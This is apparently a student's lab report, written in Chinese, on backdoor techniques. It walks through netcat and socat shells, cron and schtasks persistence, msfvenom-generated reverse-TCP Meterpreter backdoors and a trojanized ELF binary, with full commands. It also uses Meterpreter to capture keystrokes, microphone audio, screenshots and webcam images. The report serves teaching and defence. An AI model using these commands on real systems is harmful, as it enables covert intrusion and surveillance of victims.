20232304 2025-2026-1 《网络与系统攻防技术》实验二实验报告
20232304 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1 实验内容
- 使用netcat工具对虚拟机进行远程攻击,获取其Shell,使用cron程序计划并启动任务
- 使用socat工具攻击Windows主机,尝试获取主机Shell, 使用任务计划启动自制程序
- 使用MSF 生成后门程序,利用ncat或socat传送到Windows主机并运行,并在虚拟机上操作尝试获取主机Shell
- 使用MSF 生成的后门程序,获取目标主机音频、摄像头、击键记录等隐私信息,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
需要掌握的知识点:
后门:绕过正常认证流程而访问系统的通道
编译器后门:通过感染编译器软件,使所有由其编译的程序都包含恶意代码的后门类型
操作系统后门:隐藏在操作系统内核或核心组件中的后门类型
进程隐藏技术:后门用于隐藏自身进程不被发现的技术
进程伪装:将恶意进程伪装成系统正常进程的隐藏技术
Netcat:被称为"瑞士军刀"的网络工具,可用于建立正向/反向Shell连接
Socat:Netcat
的增强版工具,支持更多协议如SSL
Meterpreter:Metasploit
框架中的高级内存驻留型Payload,提供丰富控制功能
MSFVenom:Metasploit
框架中用于生成各类Payload的工具
1.2 问题回答
1.2.1 例举你能想到的一个后门进入到你系统中的可能方式?
- 捆绑恶意软件:攻击者将后门程序与正常的、受欢迎的软件进行捆绑。当用户在非官方或不可信的渠道下载并运行这些软件时,后门便会悄无声息地一并安装到系统中。
- 利用系统或软件漏洞:攻击者通过利用操作系统或应用程序中未修复的安全漏洞,在用户未察觉的情况下远程创建后门或植入后门程序。例如,用户访问了被植入恶意代码的网页,或者系统存在未打补丁的远程代码执行漏洞。
- 钓鱼邮件:用户点击了伪装成正规机构的恶意邮件中的链接或附件。
- 即时通讯软件:攻击者通过被盗号的QQ、微信等好友账号,发送带有后门的文件。
- 恶意广告:在不可靠的网站上,误点击了含有恶意代码的弹窗广告。
- 物理介质:使用来历不明的U盘等移动存储设备,可能在其自动运行脚本或文件中隐藏后门。
1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?
操作系统 | 启动机制 | 描述 |
---|---|---|
Windows | 计划任务 | 使用 schtasks 命令创建定时任务,让后门程序按特定时间(如每分钟)或系统事件(如锁定工作站时)自动运行。 |
注册表键 | 将后门程序路径添加到自启动注册表项,如 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ,实现开机或用户登录时启动。 |
|
服务自启动 | 使用 sc 命令将后门程序创建为系统服务,并设置为自动启动,使其在后台以较高权限运行。 |
|
Linux | Cron定时任务 | 通过 crontab 命令添加定时任务,使后门在特定时间点或周期性地执行。 |
系统服务 | 将后门配置为守护进程(daemon)或系统服务,实现开机自启。 | |
启动脚本 | 将后门启动命令添加到Shell脚本,并置于如 /etc/rc.local 等启动目录下,在系统启动时运行。 |
|
共享库注入 | 通过修改环境变量(如 LD_PRELOAD )来劫持正常程序加载的动态链接库,从而注入后门代码。 |
1.2.3 Meterpreter有哪些给你映像深刻的功能?
-
强大的远程控制:提供Shell,允许攻击者在目标系统上执行命令,就如同操作自己的电脑一样。
-
信息收集与窃取: 能窃取多种多样的信息,如:
击键记录:使用
keyscan_start
和keyscan_dump
命令记录用户的键盘输入,可能窃取密码、聊天记录等敏感信息。屏幕截图:使用
screenshot
命令获取目标主机的当前屏幕画面。音频与摄像头捕获的图像信息:使用
record_mic
和webcam_snap
命令可以录制麦克风声音或通过摄像头拍照 -
权限提升:内置
getsystem
等提权模块,尝试将获取的Shell权限从普通用户提升至系统最高权限(如SYSTEM/root)。 -
高隐蔽性与灵活性:Meterpreter完全运行在内存(RAM)中,不向硬盘写入文件,难以被传统杀毒软件检测。同时,它支持“进程迁移”功能,可以将自身会话从一个进程跳转到另一个更稳定的系统进程(如explorer.exe)中,实现更持久的隐蔽。
1.2.4 如何发现自己有系统有没有被安装后门?
-
分析系统进程:打开任务管理器(Windows)或使用
ps aux
命令(Linux),仔细检查是否存在可疑进程。 -
查看自启动项:
Windows:使用
msconfig
或任务管理器的“启动”选项卡,仔细检查注册表Run键、计划任务、服务等所有自启动位置。Linux:检查
crontab -l
、/etc/rc.local
、/etc/init.d/
等位置的启动脚本和定时任务。 -
使用安全软件扫描:使用杀毒软件进行全盘扫描,它们可以检测和清除已知的后门程序。同时要及时修补安全漏洞。
2.实验过程
2.1 使用ncat获取Linux虚拟机shell
首先,在Windows主机上使用ipconfig命令获取主机IP地址,获取结果为172.16.178.44
之后,在Windows主机上打开ncat监听
在linux虚拟机上反弹连接Windows主机
在Windows主机上已经获得了linux虚拟机的Shell,键入ls,可以查看linux虚拟机中的文件和文件夹
2.2 使用cron计划任务
首先,我们必须在root
用户下才能使用cron,所以需要先将Linux虚拟机上用户更换为root用户,并与Windows主机重新建立连接,如图所示
我们在用ncat得到的shell中输入echo "*****echo "20232304">/home/kali/Desktop/20232304_1.txt"> /var/spool/cron/crontabs/root
,其中:
整个命令的结构是:echo "字符串" > 文件路径
。它将其中的“字符串”内容覆盖写入到指定的“文件路径”中。
1:被写入的内容(字符串)
"*****echo "20232304">/home/kali/Desktop/20232304_1.txt"
-
时间字段:
\**\**\*
这5个星号是cron的时间表达式,分别代表(从左到右):分钟 (
*
): 每小时内的每一分钟小时 (
*
): 每天内的每一小时日期 (
*
): 每月内的每一天月份 (
*
): 一年内的每一月星期 (
*
): 每周内的每一天因此,这个时间配置意味着任务将每分钟都执行一次。
-
要执行的命令:
echo "20232304">/home/kali/Desktop/20232304_1.txt
这是cron每分钟会去执行的命令。echo "20232304"
: 输出字符串20232304
。>
: 重定向操作符,将左侧命令的输出覆盖写入到右侧的文件。/home/kali/Desktop/20232304_1.txt
: 目标文件的绝对路径。命令综合含义:每分钟都将字符串
20232304
写入到文件/home/kali/Desktop/20232304_1.txt
中。并且每次写入都会清空文件原有内容。
2:输出目标文件路径
/var/spool/cron/crontabs/root
- 这是Linux系统中root用户的cron任务配置文件。
- 系统会主动读取该文件中的内容来定义root用户的定时任务。
- 普通用户无法直接修改此文件,执行此命令需要root权限,这也是前面为什么我们要先切换为root用户的原因
执行结果不会直接有所显示,需要我们使用crontab -l
命令查看,结果如下图所示
或者也可以查看路径中的root
文件进行确认,如下图所示
二者都表明我们已经成功新建了任务。
最后,我们查看桌面上生成的文件内容来确定是否被正确写入,如图所示:
证明任务成功。
2.3 使用socat获取Windows主机shell
在学习通的资料区下载socat并解压,由于我们没有配置环境变量,所以后续所有操作都需要在解压的文件夹内种进行。
在此文件夹中打开终端,输入./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
,这里我们指定监听端口为8888
,执行程序为cmd.exe ,并利用socat的伪终端(pty)功能和标准错误输出(stderr)来构建一个类似终端的良好交互环境,执行结果如图所示:
然后再在Linux虚拟机上输入socat - tcp:172.16.178.44:8888
进行连接,如图所示:
2.4 在虚拟机上为Windows主机创建任务计划
首先我们自己编写一个程序并编译得到exe文件,在之后作为任务计划的执行程序,我所编写的程序内容如下:
其功能为在程序所在的目录下创建一个以“当前时间+20232304”为文件名(格式为 YYYYMMDDHHMMSS20232304.txt
)、内容为空的文本文件。对其编译得到exe文件备用。
在Linux虚拟机上使用schtasks
命令创建任务计划,具体命令为:schtasks /create /sc minute /mo 1 /tn "20232304fty"/tr"E:\2026年上学期文件\网络与系统攻防技术\实验\实验二:后门原理与实践\程序\20232304.exe
,其具体含义为:每分钟自动执行一次位于 E:\2026年上学期文件\网络与系统攻防技术\实验\实验二:后门原理与实践\程序\
路径下的名为20232304.exe
的程序。执行结果如下图所示:
在Windows主机上查看活动的任务计划,如图所示:
可以看到我们已经成功创建了任务计划。
2.5 使用MSF 生成后门程序,利用ncat或socat传送到Windows主机并运行,并在虚拟机上操作尝试获取主机Shell
首先关闭Windows上的防火墙和所有安全防护软件(包括自行安装的安全防护软件以及Windows Defender)
我在这里先打开了Windows主机上的ncat监听,指定传输文件并写入到桌面上的20232304backdoor.exe
,如图所示
之后在Linux主机上使用msfvenom程序生成针对于Windows系统的后门程序,指定控制主机和端口为Linux虚拟机上的2304端口,输出为20232304backdoor.exe,并使用ncat传输到Windows主机。如图所示:
在Linux虚拟机新建一个终端,输入msfconsole
来打开msf软件控制台
依次输入:
use exploit/multi/handler
//使用exploit攻击
set payload windows/meterpreter/reverse_tcp
//设置payload(在这里用来表示攻击类型)为针对Windows系统的反向TCP攻击
set LHOST 192.168.179.129
//设置攻击主机为本虚拟机(192.168.179.129为本机IP地址,并且与Windows主机在同一局域网内)
set LPORT 2304
//设置攻击端口为2304端口
exploit
//开始执行攻击
结果如图所示:
表明Linux虚拟机已经开始监听,等待来自其他设备的TCP连接
在Windows主机上双击运行后门程序20232304backdoor.exe
,此时在Linux虚拟机上就成功建立了连接,如图所示,可以开始操作:
输入ls即可查看当前目录下所有文件,证明连接成功,如图所示:
2.6 继续获取Windows主机的音频,摄像头拍摄画面,屏幕截图,键盘输入等隐私信息,并尝试提权
在刚才的终端继续输入:
2.6.1 获取键盘输入内容
开始获取输入:输入keyscan_start
;结束获取:输入keyscan_dump
.
运行结果如图所示:
2.6.2 通过麦克风获取实时音频
使用record_mic
命令,会自动录制10秒的音频并存储在当前用户的主文件夹下,运行结果如图所示:
2.6.3 获取实时屏幕截图
使用screenshot
命令,得到的屏幕截图也是位于对应登录用户的主文件夹下,如图所示
2.6.4 通过摄像头获取实时画面
使用webcam_snap
命令,获取的图片也是位于当前用户的主文件夹下,如图所示:
(忽略只有头发的图片内容)
2.6.5 尝试提权
使用getsystem
命令,但是由于我使用的Windows系统为当下最新的Windows 11 25H2
,许多漏洞已经被修复,在尝试多个其他漏洞之后都是得到Windows 11 25H2 is not vulnerable
提示,无法获得系统(SYSTEM)权限,只能作罢。
2.7 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
与创建Windows后门程序类似,这里也是使用msfvenom程序生成Shellcode,用于反向TCP获取shell。
输入命令: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -x /home/kali/pwn1 -f elf > pwn20232304
其中:
-p linux/x86/meterpreter/reverse_tcp
//攻击类型为32位Linux,反向TCP攻击
LHOST=192.168.179.129
//目标主机IP
LPORT=2304
//目标端口
-x /home/kali/pwn1
//表示使用程序模版,并指定pwn1
文件作为模版
-f elf > pwn20232304
//表示输出文件指定为Linux系统下的可执行文件ELF文件格式
执行结果如图所示:
我们需要对生成的文件添加执行权限,如图所示:
之后在另一个终端中输入msfconsole,以开始监听
依次输入:
use exploit/multi/handler
//使用exploit攻击
set payload linux/x86/meterpreter/reverse_tcp
//设置payload(在这里用来表示攻击类型)为针对32位Linux系统的反向TCP攻击
set LHOST 192.168.179.129
//设置攻击主机为本虚拟机(192.168.179.129为本机IP地址,并且与Windows主机在同一局域网内)
set LPORT 2304
//设置攻击端口为2304端口
exploit
//开始执行攻击
运行结果如下,表示已经开始监听等待来自其他设备的TCP连接
回到之前的终端,运行pwn20232304文件
在另一个终端中可以看到已经成功建立会话,输入ls,有内容输出,证明成功连接,如图所示:
3.问题及解决方案
-
问题1:传输过去的后门文件执行后几秒种就自动停止运行导致无法建立连接
-
问题1解决方案:
非常诡异的问题,我反复试验了多次,包括但不限于:
- 更换主机端口
- 更换payload,比如指定系统位数
等等不一而足,但是依然无法成功运行,后来我又在Windows主机上下手,关闭了所有的防注入保护,如图所示,但是还是没有效果。
我查阅了系统日志,发现显示报错代码为0xC0000005,表示内存访问冲突,并且是在一个Windows系统的关键动态链接库ntdll.dll上出了问题,更让我摸不到头脑。我发现20232409毕悠尘同学与20232321罗乙又同学有同样的问题,我把我的发现告诉了他们。
后来20232409毕悠尘同学有所启发(此处应有掌声),她认为是系统的原因:Kali Linux 系统中安装的 Ruby 版本(Ruby 3.1)与 Metasploit 框架当前版本所依赖的 Ruby 版本不兼容。我按照她所说更新了metasploit框架和Ruby版本都更新到了最新,但是依然没有解决我的问题。最后我索性一次性更新了系统里所有可以更新的软件,问题才得到解决,但是因为之前没有留下所有软件的版本,到底是哪些软件之间有冲突导致失败,也无从考证了。
4.学习感悟、思考等
本次实验,实际上是我们第一次自己完成接近传统意义上”黑客“这一身份的实验,让我感到非常新奇,也感到非常的有意思。第一次能够控制另一台主机的所有设备,使我真正感受到了网络安全的重要性。”纸上得来终觉浅,绝知此事要躬行“,之前的网络安全的认知都只存在于理论,真正的动手实践下来,才更理解为什么要安装安全防护软件,为什么要采取那么多的措施来保护计算机安全。
通过实验,我不仅学会了如何“攻击”,更重要的是理解了如何“防御”。比如在尝试提权时,由于Windows 11系统已修复相关漏洞,getsystem
命令未能成功。这让我意识到,及时更新系统实在是防御已知攻击的关键手段。此外,在检查计划任务和网络连接时,我也开始思考如何在实际环境中发现类似的后门行为,比如通过监控异常进程、检查网络连接等,将隐患扼杀在萌芽之时。Meterpreter的强大功能让我印象深刻,但同时也让我意识到技术背后的伦理责任。
通过解决在实验中发现的问题,我的耐心与错误排查能力得到了进一步提高,这也是最让我欣慰的一件事了。
参考资料
- [0x21 MAL_后门原理与实践](ExpGuides/0x21_MAL_后门原理与实践.md · wildlinux/NetSec - Gitee.com)